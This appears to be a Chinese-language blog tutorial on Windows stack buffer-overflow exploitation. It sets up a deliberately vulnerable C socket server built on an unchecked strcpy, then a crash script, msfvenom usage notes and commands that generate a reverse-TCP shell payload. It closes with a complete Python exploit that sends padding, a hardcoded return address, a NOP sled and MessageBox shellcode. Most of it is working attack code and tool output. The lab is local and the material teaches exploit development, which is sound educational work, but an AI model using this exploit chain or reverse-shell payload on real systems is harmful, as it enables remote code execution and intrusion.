#include <stdio.h>#include <WinSock2.h>#include <WS2tcpip.h>#pragma comment(lib,"Ws2_32.lib")  SOCKET g_Socket;sockaddr_in g_addr;  void Stack_Overflow(char* str){    char buff[500] = { 0 };    strcpy(buff, str);} int main(){    //初始化网络库    WSADATA wsaData;    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)        printf("WSAStartup failed with error: %d\n", WSAGetLastError());     //初始化套接字    g_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);    if (INVALID_SOCKET == g_Socket)    {        printf("socket init error:%d\n", WSAGetLastError());        return 0;    }     //绑定端口    g_addr.sin_family = AF_INET;    g_addr.sin_port = htons(5566);    inet_pton(AF_INET, "127.0.0.1", &g_addr.sin_addr);    if (bind(g_Socket, (sockaddr*)&g_addr, sizeof(sockaddr)) == SOCKET_ERROR)    {        printf("bind  error:%d\n", WSAGetLastError());        return 0;    }     //监听端口    if (listen(g_Socket, 20) == SOCKET_ERROR)    {        printf("listen  error:%d\n", WSAGetLastError());        return 0;    }     //接收客户端连接与数据    printf("Server : accept...\n");    sockaddr_in caddr;    int len = sizeof(sockaddr_in);    while (true)    {        SOCKET s = accept(g_Socket, (sockaddr*)&caddr, &len);        if (INVALID_SOCKET == s)        {            printf("accept  error:%d\n", WSAGetLastError());            return 0;        }        printf("accept ok IP:%s port:%d\n", inet_ntoa(caddr.sin_addr), htons(caddr.sin_port));         char recvBuf[0x2000] = { 0 };        int ret = recv(s, recvBuf, sizeof(recvBuf), 0);        if (ret <= 0)        {            printf("recv error:%d\n", WSAGetLastError());            break;        }        printf("len:%d\n data:%s", strlen(recvBuf), recvBuf);        Stack_Overflow(recvBuf); //溢出函数         closesocket(s);    }     closesocket(g_Socket);    WSACleanup();    return 0;}

#!/usr/bin/python# -*- coding: UTF-8 -*- import socket,sys def Exp(ip,port):    target = ip    port =port    buffer = b'\x41' * 1000    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)    try:        connect = s.connect((target,port))        print("connect success")    except:        print("connect failed")        sys.exit(0)     s.sendall(buffer)    print("send payload")    try:        s.recv(1024)    except:        print("ok")    s.close() if __name__ == '__main__':    Exp('127.0.0.1',5566)

-p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的 -l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all -n, –nopsled < length> 为payload预先指定一个NOP滑动长度 -f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表) -e, –encoder [encoder] 指定需要使用的encoder（编码器）,指定需要使用的编码，如果既没用-e选项也没用-b选项，则输出raw payload -a, –arch < architecture> 指定payload的目标架构，例如x86 | x64 | x86_64 –platform < platform> 指定payload的目标平台 -s, –space < length> 设定有效攻击荷载的最大长度，就是文件大小 -b, –bad-chars < list> 设定规避字符集，指定需要过滤的坏字符例如：不使用 '\x0A' '\x00'; -i, –iterations < count> 指定payload的编码次数 -c, –add-code < path> 指定一个附加的win32 shellcode文件 -x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中 -k, –keep 保护模板程序的动作，注入的payload作为一个新的进程运行 –payload-options 列举payload的标准选项 -o, –out < path> 指定创建好的payload的存放位置 -v, –var-name < name> 指定一个自定义的变量，以确定输出格式 -h, –help 查看帮助选项

msfvenom -l payload | grep windows

msfvenom -l format Framework Transform Formats [--format <value>]==============================================    Name    ----    base32    base64    bash    c    csharp    dw    dword    hex    java    js_be    js_le    num    perl    pl    powershell    ps1    py    python    raw    rb    ruby    sh    vbapplication    vbscript

msfvenom -l archs Framework Architectures [--arch <value>]========================================    Name    ----    aarch64    armbe    armle    cbea    cbea64    cmd    dalvik    firefox    java    mips    mips64    mips64le    mipsbe    mipsle    nodejs    php    ppc    ppc64    ppc64le    ppce500v2    python    r    ruby    sparc    sparc64    tty    x64    x86    x86_64    zarch

msfvenom -f py -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=9999  -a x86 -b "\x00" -o ~/Desktop/pyexp.txt --platform Windows Found 11 compatible encodersAttempting to encode payload with 1 iterations of x86/shikata_ga_naix86/shikata_ga_nai succeeded with size 381 (iteration=0)x86/shikata_ga_nai chosen with final size 381Payload size: 381 bytesFinal size of py file: 1865 bytesSaved as: /home/kali/Desktop/pyexp.txt

msfvenom -f py -p windows/messagebox  -b "\x00"  -o ~/Desktop/pymessagebox.txt -a x86 --platform windows No badchars present in payload, skipping automatic encodingNo encoder specified, outputting raw payloadPayload size: 272 bytesFinal size of py file: 1330 bytesSaved as: /home/kali/Desktop/pymessagebox.txt

#!/usr/bin/python# -*- coding: UTF-8 -*- import socket,sys def Exp(ip,port):    target = ip    port =port     buffer = b'\x41' * 504    buffer += b'\x78\x59\xA1\x75'    nops = b'\x90' * 20    shellcode = b""    shellcode += b"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9"    shellcode += b"\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08"    shellcode += b"\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1"    shellcode += b"\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28"    shellcode += b"\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34"    shellcode += b"\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84"    shellcode += b"\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24"    shellcode += b"\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b"    shellcode += b"\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c"    shellcode += b"\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e"    shellcode += b"\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e"    shellcode += b"\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89"    shellcode += b"\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68"    shellcode += b"\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56"    shellcode += b"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"    shellcode += b"\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68"    shellcode += b"\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c"    shellcode += b"\x24\x0a\x89\xe3\x68\x58\x20\x20\x20\x68\x4d\x53\x46"    shellcode += b"\x21\x68\x72\x6f\x6d\x20\x68\x6f\x2c\x20\x66\x68\x48"    shellcode += b"\x65\x6c\x6c\x31\xc9\x88\x4c\x24\x10\x89\xe1\x31\xd2"    shellcode += b"\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"     s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)    try:        connect = s.connect((target,port))        print("connect success")    except:        print("connect failed")        sys.exit(0)     s.sendall(buffer + nops + shellcode + nops)    print("send payload ok")     try:        s.recv(1024)    except:        print('ok')    s.close() if __name__ == '__main__':    Exp('127.0.0.1',5566)

# 往期推荐

1、CVE-2021-42287 Windows域内提权漏洞原理分析

2、Windows平台用户层二进制漏洞模糊测试入门

3、seccomp-bpf+ptrace实现修改系统调用原理

4、无限续杯——从app破解角度学习安卓保护手段

5、Android - 系统级源码调试

6、攻防世界easyjni精析